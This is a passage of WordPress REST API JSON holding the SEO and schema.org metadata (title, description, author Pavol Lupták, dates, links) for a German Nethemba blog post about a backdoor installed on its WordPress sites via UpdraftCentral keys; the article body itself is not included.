4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.","og_url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_site_name":"Nethemba","article_publisher":"https:\/\/www.facebook.com\/nethemba","article_published_time":"2026-10-19T05:44:04+00:00","article_modified_time":"2026-10-26T03:36:21+00:00","og_image":[{"width":1200,"height":1140,"url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","type":"image\/png"}],"author":"Pavol Lupt\u00e1k","twitter_card":"summary_large_image","twitter_creator":"@nethemba","twitter_site":"@nethemba","twitter_misc":{"Verfasst von":"Pavol Lupt\u00e1k","Gesch\u00e4tzte Lesezeit":"57\u00a0Minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#article","isPartOf":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"author":{"name":"Pavol Lupt\u00e1k","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"headline":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites","datePublished":"2026-10-19T05:44:04+00:00","dateModified":"2026-10-26T03:36:21+00:00","mainEntityOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"wordCount":8140,"commentCount":0,"publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","articleSection":["Blog","Unkategorisiert"],"inLanguage":"de","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","name":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba","isPartOf":{"@id":"https:\/\/nethemba.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","datePublished":"2026-10-19T05:44:04+00:00","dateModified":"2026-10-26T03:36:21+00:00","description":"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.","breadcrumb":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb"},"inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"]}]},{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png","width":1200,"height":1140},{"@type":"BreadcrumbList","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/nethemba.com\/home-new-2025\/"},{"@type":"ListItem","position":2,"name":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites"}]},{"@type":"WebSite","@id":"https:\/\/nethemba.com\/de\/#website","url":"https:\/\/nethemba.com\/de\/","name":"Nethemba","description":"We care about your security","publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/nethemba.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"de"},{"@type":"Organization","@id":"https:\/\/nethemba.com\/de\/#organization","name":"Nethemba","url":"https:\/\/nethemba.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","width":66,"height":70,"caption":"Nethemba"},"image":{"@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/nethemba","https:\/\/x.com\/nethemba","https:\/\/sk.linkedin.com\/company\/nethemba","https:\/\/www.youtube.com\/@sabretoothatNethemba"]},{"@type":"Person","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234","name":"Pavol Lupt\u00e1k","image":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","caption":"Pavol Lupt\u00e1k"},"sameAs":["https:\/\/www.nethemba.com\/"]}]}},"_links":{"self":[{"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/posts\/9628","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/comments?post=9628"}],"version-history":[{"count":39,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/posts\/9628\/revisions"}],"predecessor-version":[{"id":9824,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/posts\/9628\/revisions\/9824"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/media\/9615"}],"wp:attachment":[{"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/media?parent=9628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/categories?post=9628"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nethemba.com\/de\/wp-json\/wp\/v2\/tags?post=9628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}